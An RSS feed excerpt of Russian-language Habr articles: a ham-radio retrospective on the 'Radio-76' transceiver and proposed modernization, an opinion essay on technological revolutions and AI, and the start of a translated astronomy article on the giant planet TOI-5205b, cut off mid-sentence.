      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/109/9c3/f8d/1099c3f8daa886ac8dc41fd6a297be9f.jpg width=904 height=251 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/109/9c3/f8d/1099c3f8daa886ac8dc41fd6a297be9f.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/109/9c3/f8d/1099c3f8daa886ac8dc41fd6a297be9f.jpg 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Сегодня, в Международный день радиолюбителя, я хотел бы вернуться к теме легендарного радиолюбительского трансивера «Радио-76». Тем более, в этом году исполняется ровно пятьдесят лет со дня публикации его конструкции. Трансивер разрабатывался в лаборатории журнала «Радио» с целью создать простую любительскую радиостанцию с хорошей повторяемостью. И это разработчикам трансивера Б. Степанову (UW3AX) и Г. Шульгину (UA3ACM) удалось. Есть, конечно, у «Радио-76» недостатки, но у многих начинающих радиолюбителей и у меня тоже именно он был первым трансивером в собственности, поэтому дальше — только с любовью и нежностью.&lt;p&gt;Конструкция аппарата стала воистину «народной». За прошедшие пятьдесят лет было предпринято множество попыток улучшения конструкции «Радио-76» [1], включая авторскую модификацию «Радио-76М2» [2]. Во всех вариациях на тему этого трансивера неизменным оставался лейтмотив структурной схемы основной платы с электромеханическим фильтром (ЭМФ) в качестве основного фильтрующего элемента.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/7df/5f4/82e/7df5f482ee465d9788c500e012877cda.jpg width=1100 height=650 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/7df/5f4/82e/7df5f482ee465d9788c500e012877cda.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/7df/5f4/82e/7df5f482ee465d9788c500e012877cda.jpg 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Ещё одной характерной особенностью трансивера является переключение гетеродинов между смесителями при переходе с приёма на передачу, что хорошо видно из структурной схемы, приведённой выше.&lt;h2&gt;Как работает основная плата «Радио-76»...&lt;/h2&gt;&lt;p&gt;В режиме приёма (RX) получаемый из эфира сигнал проходит через внешний ДПФ (диапазонный полосовой фильтр) и поступает на вход левого кольцевого смесителя. На другой вход этого смесителя подаётся сигнал генератора плавного диапазона (ГПД) с частотой на 500кГц выше частоты принимаемого сигнала. Смеситель выполняет функцию умножения этих сигналов, в результате чего производится перенос спектра принимаемого сигнала на частоту 497…503кГц. Этот сигнал подаётся на вход первого усилителя промежуточной частоты (УПЧ-1), а затем из него электромеханическим фильтром (ЭМФ) выделяется верхняя боковая полоса (ВБП), т.е. сигналы частотой 500…503кГц. Сигнал ВБП дополнительно усиливается УПЧ-2 и подаётся на вход правого кольцевого смесителя. На другой вход этого смесителя подаётся с кварцевого генератора сигнал опорной частоты 500кГц, в результате чего спектр сигнала с частотой 500…503кГц переносится в диапазон звуковых частот (ЗЧ). Демодулированный таким образом сигнал подаётся на вход усилителя низких частот (УНЧ) для вывода через динамик.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/edf/02a/da1/edf02ada1192ecae5bfc6c4290ed014e.jpg width=1100 height=550 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/edf/02a/da1/edf02ada1192ecae5bfc6c4290ed014e.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/edf/02a/da1/edf02ada1192ecae5bfc6c4290ed014e.jpg 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Теперь о достаточной важной для комфортной работы системе, которая на структурной схеме основной платы не обозначена. С выхода УНЧ принятый сигнал поступает на вход системы автоматического регулирования усиления (АРУ), которая, по сути, является цепью отрицательной обратной связи для предотвращения переусиления принимаемого сигнала усилителями промежуточной частоты. На моей памяти, любая реализация этой функции всегда вызывала у какой-либо части радиолюбителей нарекания. Отметим, что к режиму приёма «Радио-76» других каких-то особых нареканий не было.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/67a/281/24b/67a28124b20a3e84f676a8e9e1d2f647.jpg width=1100 height=550 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/67a/281/24b/67a28124b20a3e84f676a8e9e1d2f647.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/67a/281/24b/67a28124b20a3e84f676a8e9e1d2f647.jpg 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;В режиме передачи (TX) структурная схема основной платы изменяется незначительно. На входы левого кольцевого смесителя для переноса спектра звуковых частот в диапазон 497…503кГц подаются сигналы с микрофонного усилителя и кварцевого генератора опорной частоты 500кГц. Полученный таким образом двухполосный сигнал с подавленной несущей усиливается УПЧ-1, ЭМФ выделяет из него ВБП, сигнал с ВБП усиливается УПЧ-2 и подаётся на вход правого кольцевого смесителя. На другой вход этого смесителя подаётся сигнал ГПД с частотой на 500кГц выше частоты формируемого на передачу сигнала. Диапазонный полосовой фильтр на выходе смесителя выделяет из результирующего спектра нужный для передачи сигнал.&lt;h2&gt;...и что бы в её работе хотелось улучшить&lt;/h2&gt;&lt;p&gt;А теперь ещё раз пройдём по этой цепочке и сосредоточимся на недостатках:&lt;ol&gt;&lt;li&gt;&lt;p&gt;В микрофонном усилителе из состава основной платы трансивера нет ни АРУ, ни компрессора. Микрофон приходилось держать из-за этого очень близко ко рту и слова тянуть, чтобы разборчивость обеспечить.&lt;li&gt;&lt;p&gt;Кольцевые смесители и в «Радио-76», и в «Радио-76М2» балансными только называются. Фактически, качественного подавления сигнала гетеродина они не обеспечивают. И если неподавленный правым смесителем сигнал с частотой настройки ГПД ещё как-то отфильтровывается с помощью ДПФ, то отфильтровать неподавленный левым смесителем сигнал опорной частоты 500кГц силами ЭМФ было уже невозможно.&lt;li&gt;&lt;p&gt;При переключении трансивера на передачу происходит скачкообразный сдвиг частоты ГПД на 200…300Гц. На это влияет и нестабильность по питанию, и разница входных сопротивлений смесителей, и ещё множество менее значимых факторов.&lt;/ol&gt;&lt;p&gt;Ещё к недостаткам «Радио-76» можно отнести его «однодиапазонность» и отсутствие режима работы радиотелеграфом. Доработки, конечно, публиковались в журнале «Радио». Я в своё время перепробовал большинство из них, но что-то однозначно законченное и целостное из этого так и не сложилось.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/892/23e/cf8/89223ecf87b9b901c071b817cc4791ac.jpg width=750 height=375 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/892/23e/cf8/89223ecf87b9b901c071b817cc4791ac.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/892/23e/cf8/89223ecf87b9b901c071b817cc4791ac.jpg 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;И завершая про недостатки: «Радио-76» во всех его воплощениях существовал совершенно отдельно от усилителей мощности. Мне очень хотелось иметь полностью транзисторный аппарат, но хорошо, линейно и без самовозбуждения заработал у меня только ламповый усилитель, сделанный по мотивам опубликованной в «Радио» №7 за 1976 год схемы [1].&lt;h2&gt;Изменить, не меняя сути&lt;/h2&gt;&lt;p&gt;Попробуем разобраться, что же делает любую вариацию на тему этой конструкции именно трансивером «Радио-76»? Где пределы совершенствования, за которыми конструкция теряет свою сущность?&lt;p&gt;Эти вопросы неоднократно обсуждались на радиолюбительских форумах. Консенсус сложился вокруг использования в схеме трансивера ЭМФ как основного фильтрующего элемента и кольцевых балансных смесителей на диодах. От этого и будем отталкиваться.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/4e9/7fb/914/4e97fb914368ac824f7b37d00d0d444c.png width=974 height=308 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/4e9/7fb/914/4e97fb914368ac824f7b37d00d0d444c.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/4e9/7fb/914/4e97fb914368ac824f7b37d00d0d444c.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;За основу возьмём схему радиотракта основной платы трансивера «Радио-76М2». Диоды и транзисторы поменяем на более доступные и качественные импортные.&lt;p&gt;Схему кольцевых балансных смесителей сделаем более «сбалансированной», чем в оригинале [8]. О результатах такой доработки я писал пять лет назад в публикации &lt;a href=https://habr.com/ru/companies/ruvds/articles/554672/&gt;«Легендарный трансивер «Радио-76»&lt;/a&gt;. Там же было про использование синтезатора Si5351A-B-GT в качестве ГПД и генератора опорной частоты 500кГц. Замена оригинального ГПД на синтезатор была обусловлена тем, что мне очень не хотелось терять время на отладку аналогового гетеродина.&lt;p&gt;И этой заменой удалось тогда «убить» сразу двух «зайцев»: избавиться от сдвига частоты при переключении гетеродинов между смесителями, а также значительно упростить схему трансивера, убрав оттуда плату ГПД и плату генератора опорной частоты 500кГц и электронного коммутатора гетеродинов.&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/8fe/34e/80c/8fe34e80c74932ba1c1656496eb6ea05.png width=492 height=224 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/8fe/34e/80c/8fe34e80c74932ba1c1656496eb6ea05.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/8fe/34e/80c/8fe34e80c74932ba1c1656496eb6ea05.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;При этом из-за управления синтезатором схема трансивера «усложнилась» платой Black Pill F411, но это же и дало возможность добавить управление трансивером по CAT-интерфейсу, о чём было поведано миру в публикации &lt;a href=https://habr.com/ru/companies/ruvds/articles/555864/&gt;«CAT-интерфейс для трансивера «Радио-76»&lt;/a&gt;.&lt;p&gt;Отметим, что от замены достаточно сложного в отладке аналогового генератора плавного диапазона на «бездушный» цифровой синтезатор с управляющим микроконтроллером сущность трансивера «Радио-76» не поменялась. Он просто стал улучшенной версией самого себя.&lt;h2&gt;Ещё один шаг...&lt;/h2&gt;&lt;p&gt;Теперь вернёмся к вопросам по теме УНЧ, АРУ и микрофонного усилителя. Всё это решается применением подходящей микросхемы кодека, которую можно сопрячь с микроконтроллером по интерфейсу I2S.&lt;p&gt;И мы сразу получим на базе этого кодека и микрофонный усилитель с системой АРУ и компрессором; и УНЧ со своей АРУ, изменяемой полосой пропускания и своими собственными каналами АЦП и ЦАП; и независимую от УНЧ систему АРУ со своим каналами АЦП и ЦАП для управления усилением основной платы; и систему VOX.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/c15/a40/1fb/c15a401fbb4458d1170c3e5ae8e9ffdf.jpg width=1973 height=856 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/c15/a40/1fb/c15a401fbb4458d1170c3e5ae8e9ffdf.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/c15/a40/1fb/c15a401fbb4458d1170c3e5ae8e9ffdf.jpg 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;И что немаловажно, на связке кодека с микроконтроллером можно обеспечить связь трансивера как звукового устройства USB с программами для работы цифровыми видами модуляции, а также обеспечить качественную работу «Радио-76» телеграфом. На фото выше показано, как на одном «железе» уживались контроллер для управления трансивером по CAT-интерфейсу и «ямбический» электронный ключ.&lt;h2&gt;...с которого начинается путь...&lt;/h2&gt;&lt;p&gt;Как видите, наработок по теме достаточно. На базе схемы основной платы трансивера «Радио-76М2» с обвязкой из синтезатора, кодека и микроконтроллера вполне себе можно сделать отвечающий духу времени недорогой радиолюбительский трансивер третьей категории.&lt;p&gt;С промежуточной частотой 500кГц можно обеспечить работу этого трансивера на диапазонах 160, 80, 40 и 30м. Попытки модернизировать «Радио-76» с одним преобразованием частоты для работы на диапазоне 20м были, но не очень успешные [7].&lt;p&gt;Очень многие сложности с повторяемостью конструкции можно решить, если при разработке ориентироваться на какой-нибудь бюджетный корпус типа Gainta G767. Половину корпуса занять основной платой и платой контроллера, а вторую половину оставить под усилитель мощности.&lt;p&gt;Очень надеюсь на как минимум моральную поддержку сообщества. Без неё начинать проект по реинкарнации «Радио-76» смысла нет. Ссылку на канал не даю, пишите в комментарии или «личку».&lt;h2&gt;Список литературы&lt;/h2&gt;&lt;p&gt;Я намеренно включил в список только публикации из журнала «Радио», поскольку трансивер «Радио-76» был их фирменной разработкой.&lt;p&gt;В части «многодиапазонности» стоит вдумчиво изучить [6] и [7]. Про сложность «классической» реализации телеграфного режима в однополосном радиотракте с помощью дополнительного гетеродина и активного фильтра ЗЧ следует читать в [5] и [7].&lt;ol&gt;&lt;li&gt;&lt;p&gt;Степанов Б., Шульгин Г. Трансивер «Радио-76». — Радио, 1976, № 6, с. 17–19, 26; № 7, с. 19–22.&lt;li&gt;&lt;p&gt;Степанов Б. О трансивере «Радио-76». — Радио, 1981, № 9, с. 18–19.&lt;li&gt;&lt;p&gt;Степанов Б., Шульгин Г. Трансивер «Радио-76М2». — Радио, 1983, № 11, с. 20–23; № 12, с. 16–18.&lt;li&gt;&lt;p&gt;Степанов Б., Шульгин Г. Усилитель мощности… — Радио, 1984, № 10, с. 18–21.&lt;li&gt;&lt;p&gt;Степанов Б., Шульгин Г. Телеграф в «Радио-76М2». — Радио, 1985, № 2, с. 18–20.&lt;li&gt;&lt;p&gt;Степанов Б., Шульгин С. Семидиапазонный КВ-приёмник. — Радио, 1985, № 6, с. 17–21; № 7, с. 22–23.&lt;li&gt;&lt;p&gt;Касминин Г. Из «Электроники — Контура — 80» 4-диапазонный трансивер. — Радио, 1985, № 1, с. 18–20.&lt;li&gt;&lt;p&gt;Меньшов В., Булатов А. Улучшение смесителей в «Радио-76» и «Радио-76М2». — Радио, 1988, № 12, с. 23–24.&lt;/ol&gt;&lt;h2&gt;От автора&lt;/h2&gt;&lt;p&gt;Значение трансивера «Радио-76» для развития радиолюбительского движения в нашей стране переоценить невозможно. И, что для меня очень важно, он заслужил народную любовь, а любовь — это чувство, которое объединяет и создаёт.&lt;p&gt;Что-то в этой публикации родилось сразу. Отдельные места пришлось многократно переписывать. И я вспоминал, как в далёком 1984 году потратил много месяцев, чтобы мой «Радио-76», сделанный из набора «Электроника-Контур-80», заработал на передачу, и как я вернулся к этой теме в 2021 году, и как мне удалось избавить то, что осталось от моего трансивера, от характерных для «Радио-76» недостатков. &lt;p&gt;Я принципиально не пользуюсь нейросетями, чтобы писать. Всё, что я пишу, основано на моём опыте и чувствах, которые я тогда испытывал. Я радиолюбитель, я люблю радио, и мне нравится писать о радио и электронике. &lt;p&gt;Снятся ли нейросетям легендарные микросхемы? Способна ли она писать об электронике с такой любовью, как я? Не думаю…&lt;p&gt;Любовь творит добро. Добрые чувства рождают добрые слова, добрые слова пробуждают добрые эмоции. Зачем отдавать это на откуп нейросетям и умножать этим скорбь в нашем и без того неидеальном мире?&lt;p&gt;Да пребудет с вами любовь к радио!&lt;p&gt;73! de RD9F&lt;p&gt;© 2026 ООО «МТ ФИНАНС»&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <guid>https://habr.com/ru/companies/ruvds/articles/1016910/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1016910</guid>
      <pubDate>Sat, 18 Apr 2026 09:01:40 +0000</pubDate>
    </item>
    <item>
      <title>Мифы о технологических революциях</title>
      <link>https://habr.com/ru/articles/1024912/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024912</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;Мне показалась интересной тема поднятая в статье: &lt;a href=https://habr.com/ru/articles/1023350/ rel=&#34;noopener noreferrer nofollow&#34;&gt;Четыре промышленные революции и одна закономерность: почему нынешний переход отличается от предыдущих&lt;/a&gt;&lt;p&gt;Я начал заниматься программированием когда еще не было такого понятия IT — информационные технологии, и мой взгляд на эту тему кардинально отличается от того что изложено в той статье, и наверно от того что на сегодняшний день можно называть мейнстримом. Если вас интересует аргументированный альтернативный взгляд, если вы готовы анализировать, а не просто вешать ярлыки, приглашаю вас порассуждать о том что мы имеем, как мы к этому пришли и на основе этого попробовать спрогнозировать что будет. Это не критика исходной статьи, как может показаться. Это вольная интерпретация одной единственной мысли из этой статьи которая помогла мне сформулировать, то что давно варилось у меня в голове.&lt;p&gt;По моему главное в сегодняшней ситуации в индустрии IT (и наверно не только в IT? Но и вообще в высокотехнологичной индустрии) ярко выражено в этом призыве:&lt;p&gt;&lt;em&gt;В этой статье я попробую разобрать, что происходит сейчас, через призму исторических данных. Потому что паттерн повторяется — и это важно понять, чтобы принять правильные решения.&lt;/em&gt;&lt;p&gt;Нас призывают «принять правильные решения», нас не спрашивают какие проблемы видим мы, существуют ли, объективно проблемы которые зависят от нашего решения. Мы же взрослые люди, мы же понимаем что проблему, которую надо решить, надо не только сформулировать! Надо еще и понять, а как наши действия, поведение могут влиять на развитие или устранение этой проблемы? Есть ли у нас вообще возможность что-то решать относительно этой проблемы и является ли эта проблема проблемой конкретно для нас, для кого из нас? …&lt;p&gt;А про ИИ мы вспомним в самом конце.&lt;p&gt;Что это мне напоминает или Лозунги вместо реальных задач.&lt;p&gt;Теперь наверно мало кто помнит у нас уже было время лозунгов. Был например такой: «Нынешнее поколение советских людей будет жить при коммунизме!». А что такое коммунизм, а точно лучше жить при коммунизме чем при любом другом -изме или просто нормально жить? Может поколение людей лучше само определит как ему жить лучше?&lt;p&gt;Что тут интересно? Совсем не про коммунизм и не про советскость, а про то что одни люди пытаются определить для других людей определенные рамки их жизни, их будущего, их предназначения и это не меняется веками!&lt;p&gt;И в этой формуле&lt;p&gt;&lt;em&gt;Потому что паттерн повторяется — и это важно понять, чтобы принять правильные решения.&lt;/em&gt;&lt;p&gt;мне кажется, присутствует абсолютно то же желание навязать парадигму существования, ограничить будущее: задать-определить какой-то, видимо самый-главный-паттерн, который повторяется, который если вы не поймете вы вместо светлого будущего попадете в мрачное, недостойное;&lt;p&gt;вы должны что-то решать и решить, вы не можете просто спокойно жить и работать, вас ожидает какой-то выбор, вы должны все бросить и начать готовиться к чему-то о чем вам расскажет тот кто все знает.&lt;p&gt;Это даже хуже лозунга это звучит как угроза.&lt;p&gt;Как говорил незабвенный профессор Преображенский (я позволю себе перефразировать) люди сами создают себе проблемы такими установками, а когда человек подчинил себя этим установкам он начинает распространять эти установки на окружающих. Принципиальным отличием нашего современного технологического уклада является то, что раньше люди были очень ограничены в трансляции этих ограничивающих установок на окружающих. Современные технологии позволяют практически любому написать, например, статью на Хабре и заражать неограниченное количество людей не самыми конструктивными идеями.&lt;p&gt;Проблема еще и в том, что как раз не самые конструктивные идеи чаще всего выглядят как простое и надежное и понятное большинству решение и все больше людей загоняют себя в рамки и начинают защищать идею не выходить за эти рамки. Мы должны понимать паттерн и принимать правильные решения, а если мы вдруг вернемся к нормальной жизни где нам не надо следить за паттерном и следить за правильностью решений, мы можем осознать, что все это напряжение, которое мы испытывали в парадигме того, что мы должны готовиться к чему то разрушающему нашу жизнь, Все это напряжение и фатализм нам совершенно не нужно, что оно нас сковывает и уничтожает по сути нашу жизнь, что эта подготовка и есть разрушение нашей жизни. Если мы откажемся от этой парадигмы ожидания разрушения, мы можем осознать что это пережитое напряжение мы создали себе сами и совершенно впустую и это страшно. И это приводит к агрессии к тем кто просто живет не создавая себе установок, что называется без фанатизма и вне мейнстрима. Я наблюдаю как увеличилось количество людей которые понимают только им известные смыслы и которые превратили себя в рабов этих непонятных смыслов, для которых эти смыслы истина, а реальность с которой они постоянно сталкиваются это сплошное недоразумение, которое надо исправить-привести в соответствие с великими смыслами. Мы вступаем во времена недетерминированного, латентного фанатизма, когда фанатики защищают не какую-то более менее разработанную идеологию-теорию-религию, а когда каждый придумывает свою собственную, потому что все идеологии-теории-религии смешались и каждый может набрать подходящий только ему список догм. Это беда единого информационного пространства, превращения мира в одну большую деревню в которой все знают все и могут думать что все знают.&lt;p&gt;Я, кажется, где-то тоже читал что любое научное знание это догма, но это обоснованная догма которая существует до тех пор пока основания не были подвергнуты сомнению. Другими словами это знание, верификация которого НЕ прекращается, знанием является только то чему ПОКА не получено опровержения. Мы должны следить, а не станет ли применение нашего знания, сколь угодно устоявшегося знания, абсолютно новой проверкой этого знания, которой еще никогда не выполнялось. И для такого нового применения знания это знание переходит в категорию гипотезы, а не знания до тех пор пока знание не будет этим новым применением вновь подтверждено.&lt;p&gt;Однозначно можно сказать только одно: «История развивается по спирали!» Растет уровень фанатизма среди людей. Мысли и устремления людей все больше расходятся/отрываются от реальности, все больше людей пытаются строить какую-то свою придуманную реальность и таким образом все больше людей выпадают из реальности настоящей и используют ресурсы и других людей(!) все более неконструктивно, неэффективно, и в конце концов во вред людям и целям развития общества людей и это, очевидно, не может продолжаться вечно. Именно в этом случае реальность становится суровой, именно реальность которую долго и упорно игнорировали становится Суровой реальностью, реальностью которая подстерегает и бьет и может уничтожить. И на это может наложиться противоборство придуманных альтернативных миров разных видов фанатиков. Суровая реальность меняет вектор генерации-развития идей у людей. Люди на время возвращаются к законам настоящей реальности, начинают следить чтобы идеи не расходились с этими законами, чтобы идеи не усложнялись неимоверно избыточно, чтобы оценивались результаты в настоящей реальности, а не в придуманной и люди становятся способны начинать и вести настоящие дела, а иногда это доходит до состояния Свершений. Этот период становится возрождением, ренессансом, расцветом, но, к сожалению тоже в конце концов заканчивается. Люди рождаются и умирают, и взамен тех кто создавал дело и, соответственно, знал как и почему это дело связано с законами реальности, приходят те кто не понимает этих связей случайно или намеренно, не важно! Приходят те кто снова будут придумывать свою версию мира и которые смогут определить законы новой реальности в которой этим людям будет проще и удобнее существовать, какое-то время(!) за счет ресурсов накопленных на предыдущей фазе.&lt;p&gt;Мне кажется что в современном мире эта спираль не одна, есть разные группы людей которые формируют собственные спирали переходов от фанатизма к реальности и обратно. Но у меня есть смутное ощущение что эти разные спирали каким-то образом синхронизируются, и подстраиваются чтобы максимально эффективно преподать нам очередной урок новой Суровой реальности? Но может они, эти спирали, хотят позаботиться о нашем будущем таким образом? Чтобы в следующий раз мы максимально долго не отрывались от настоящей реальности или, вообще, придумали бы наконец-то методику совсем никогда не отрываться от нее.&lt;p&gt;А теперь неожиданный поворот. Если верно то что я предполагаю, все упирается в отношения между людьми, а точнее в методы и способы того как одни люди распоряжаются другими людьми. Можно например рассмотреть конвейер как один из таких способов. Считается что конвейер изобрел Форд (кажется) и появился он в начале 20-го века. Но кто знает, может быть на строительстве Египетских пирамид применялся более совершенный конвейер? И если это так то тысячи лет не принесли особых изменений в способ этого вида отношений между людьми на производстве. И тут мы подходим к вопросу, а способен ли ИИ изменить что-то в этих отношениях между людьми. Вы всерьез думаете что кто-то, обладающий властью распоряжаться людьми, променяет эту власть над людьми на власть распоряжаться машинами? Если вы заметили, это даже звучит несуразно: «власть распоряжаться машинами», любой автомеханик (хороший-профессиональный) уже имеет эту, так называемую, власть.&lt;p&gt;Вы не пробовали рассмотреть проблемы связанные с применением ИИ в таком ракурсе?&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>rukhi7</author>
      <guid>https://habr.com/ru/articles/1024912/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024912</guid>
      <pubDate>Sat, 18 Apr 2026 08:31:10 +0000</pubDate>
    </item>
    <item>
      <title>[Перевод] Такого быть не должно: гигантская планета вращается вокруг маленькой звезды</title>
      <link>https://habr.com/ru/articles/1024872/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024872</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/webt/80/54/ad/8054ada1b546c6cba62f919a64176334.jpg alt=&#34;На этой художественной иллюстрации изображён газовый гигант TOI-5205 b, вращающийся вокруг звезды класса M (красного карлика). Астрономы ожидают обнаружить массивные газовые гиганты вокруг звёзд, масса которых превышает массу этой звезды, поэтому такая конфигурация вызывает недоумение. Это не единственный газовый гигант, вращающийся вокруг звезды с малой массой, и в совокупности они ставят под сомнение представления астрономов о формировании планет.&#34; sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/webt/80/54/ad/8054ada1b546c6cba62f919a64176334.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/webt/80/54/ad/8054ada1b546c6cba62f919a64176334.jpg 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;На этой художественной иллюстрации изображён газовый гигант TOI-5205 b, вращающийся вокруг звезды класса M (красного карлика). Астрономы ожидают обнаружить массивные газовые гиганты вокруг звёзд, масса которых превышает массу этой звезды, поэтому такая конфигурация вызывает недоумение. Это не единственный газовый гигант, вращающийся вокруг звезды с малой массой, и в совокупности они ставят под сомнение представления астрономов о формировании планет.&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Согласно &lt;a href=https://ru.wikipedia.org/wiki/%D0%9D%D0%B5%D0%B1%D1%83%D0%BB%D1%8F%D1%80%D0%BD%D0%B0%D1%8F_%D0%B3%D0%B8%D0%BF%D0%BE%D1%82%D0%B5%D0%B7%D0%B0 rel=&#34;noopener noreferrer nofollow&#34;&gt;небулярной гипотезе&lt;/a&gt;, звёзды и вращающиеся вокруг них планеты формируются из одного и того же запаса вещества, называемого протопланетной туманностью. Это наиболее общепринятое объяснение того, как формируются планетные системы. Но, несмотря на то, что эта гипотеза способна объяснить многие аспекты формирования планетных систем, у неё остаются некоторые нерешённые проблемы.&lt;p&gt;Исследования экзопланет и их звёзд часто ставят под сомнение небулярную гипотезу. Исследователи, занимающиеся поиском планет, обнаружили массивные газовые гиганты размером с Юпитер — и даже больше — вращающиеся в непосредственной близости от своих маломассивных звёзд. Некоторые из этих планет находятся ближе к своим маленьким звёздам, чем Меркурий к Солнцу. Как формируются гигантские планеты в таких сценариях — это вопрос, на который небулярная гипотеза не даёт ответа.&lt;p&gt;Проблема заключается в том, что у звёзд с малой массой протопланетные диски тоже имеют малую массу, а именно в этих дисках содержится материал, из которого формируются планеты. Налицо несоответствие между дисками с малой массой и газовыми гигантами с большой массой. Из простой логики следует, что планеты с большой массой должны формироваться в дисках с большой массой.&lt;p&gt;Одним из таких газовых гигантов, вращающихся по плотной орбите вокруг звезды с небольшой массой, является TOI-5205b. Он обращается вокруг карликовой звезды класса M, расположенной на расстоянии около 282 световых лет. Это планета с малой орбитой и массой около 1,08 массы Юпитера, которой требуется всего 1,6 дня для полного оборота вокруг звезды. Группа астрономов &lt;a href=https://iopscience.iop.org/article/10.3847/1538-3881/acabce rel=&#34;noopener noreferrer nofollow&#34;&gt;открыла её в 2023 году&lt;/a&gt; на основе данных спутника NASA Transiting Exoplanets Survey Satellite (TESS) и подтвердила открытие с помощью различных наблюдений на других телескопах и приборах.&lt;p&gt;«TOI-5205b имеет одно из самых высоких отношений масс для планет у карликов класса M — почти 0,3%, поскольку она обращается вокруг звезды-хозяина, масса которой составляет всего 0,392 ± 0,015 массы Солнца», — пишут авторы статьи. «Большая масса TOI-5205b ставит под сомнение традиционные теории формирования планет и соотношения масштабирования дисков, которые не могут легко воссоздать условия, необходимые для образования таких планет».&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/webt/37/05/c4/3705c4c6fa58f940d4fea2df7ced98b6.jpg alt=&#34;Художественная иллюстрация протопланетного диска. Соотношения масштабирования дисков показывают, что массивные газовые гиганты должны образовываться вокруг звёзд с большой массой, поскольку у этих звёзд также более массивные диски. Но не все комбинации экзопланет и звёзд соответствуют этому.&#34; sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/webt/37/05/c4/3705c4c6fa58f940d4fea2df7ced98b6.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/webt/37/05/c4/3705c4c6fa58f940d4fea2df7ced98b6.jpg 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Художественная иллюстрация протопланетного диска. Соотношения масштабирования дисков показывают, что массивные газовые гиганты должны образовываться вокруг звёзд с большой массой, поскольку у этих звёзд также более массивные диски. Но не все комбинации экзопланет и звёзд соответствуют этому.&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Теперь многие из тех же исследователей вернулись к изучению TOI-5205b. Они возглавляют программу наблюдений «Уэбба», направленную на экзопланеты, подобные TOI-5205b, под названием &lt;a href=https://gemsjwst.github.io/ rel=&#34;noopener noreferrer nofollow&#34;&gt;GEMS: Giant Exoplanets around M dwarf Stars&lt;/a&gt; (Гигантские экзопланеты вокруг звёзд-карликов класса M). GEMS использует «Уэбб» для изучения атмосфер этих планет, и TOI-5205b является основной целью, поскольку её транзит перед звездой очень 